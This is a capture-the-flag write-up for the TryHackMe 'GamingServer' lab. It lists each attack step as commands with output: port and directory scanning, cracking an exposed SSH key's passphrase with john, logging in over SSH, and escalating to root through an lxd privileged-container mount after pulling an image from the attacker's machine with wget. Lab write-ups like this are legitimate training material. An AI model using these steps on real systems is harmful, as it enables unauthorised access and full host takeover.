

thm-writeups

GamingServer

writeup of the room GamingServer in TryHackMe

first start by doing a port scan

```
rustscan $IP
```

results:



PORT	STATE	SERVICE	REASON
22/tcp	open	ssh	syn-ack ttl 63
80/tcp	open	http	syn-ack ttl 63

then start start dirbuster or gobuster to search for hidden files

```
gobuster dir -u $IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
```

you will then find an interesting folder called “/secret”

Index of /secret

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 secretKey	2020-02-05 13:41	1.7K	

Apache/2.4.29 (Ubuntu) Server at 10.10.57.79 Port 80

that contains a ssh key, download it

after you downloaded that key create a new hash file using ssh2john

```
python ssh2john.py SecretKey > id_rsa.hash
```

and then crack it using john and rockyou wordlist

```
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
```

results

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (id_rsa)
```

```
1g 0:00:00:12 DONE (2020-08-30 22:24) 0.08278g/s 1187Kp/s 1187Kc/s 1187KC/s *7¡Vamos!  
Session completed
```

then i found a user that can be used for a ssh connection on the website source code

in the bottom line of : `https://$IP/index.html`

```
74     </div>  
75 </body>  
76 <!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->  
77 </html>  
78
```

as you can see there is a user called john

connect to the server through ssh

```
ssh john@$IP -i ./SecretKey
```

enter the passphrase and you logged in as john

```

root@kali:/home/r4yan/Documents/THM/gamingserver# ssh john@10.10.57.79 -i ./id_rsa
The authenticity of host '10.10.57.79 (10.10.57.79)' can't be established.
ECDSA key fingerprint is SHA256:LO5bYqjXqLnB39jxUzFMiOaZ1YnyFGGXUmf1edL6R9o.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.57.79' (ECDSA) to the list of known hosts.
Enter passphrase for key './id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon Aug 31 08:35:11 UTC 2020

System load:  0.08          Processes:          97
Usage of /:   41.1% of 9.78GB Users logged in:   1
Memory usage: 32%          IP address for eth0: 10.10.57.79
Swap usage:   0%

0 packages can be updated.
0 updates are security updates.

Last login: Mon Jul 27 20:17:26 2020 from 10.8.5.10
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
john@exploitable:~$ whoami
john
john@exploitable:~$

```

now get the user flag

```

cat user.txt
a*****e

```

after searching and looking in the machine i found an interesting service called lxd(Linux Containers) owned by root and that can be used by anyone,

locally clone that repo and run the other commands

```
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
```

then start a simple web server

```
python -m SimpleHTTPServer
```

then download the files you just downloaded locally

```
cd /tmp
wget http://$LHOST:8000/alpine-v3.12-x86_64-20200830_2354.tar.gz
```

replace \$LHOST with your local ip address (run "ip addr" to see it)

import the image by running:

```
lxc image import ./alpine-v3.12-x86_64-20200830_2354.tar.gz --alias myimage
```

then spawn a root shell by running this list of commands

```
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
whoami
```

now get the root flag

```
cat mnt/root/root/flag.txt  
2*****c
```

if you don't get your root shell or it's not working try following this [guide](#) for privilege escalation about lxd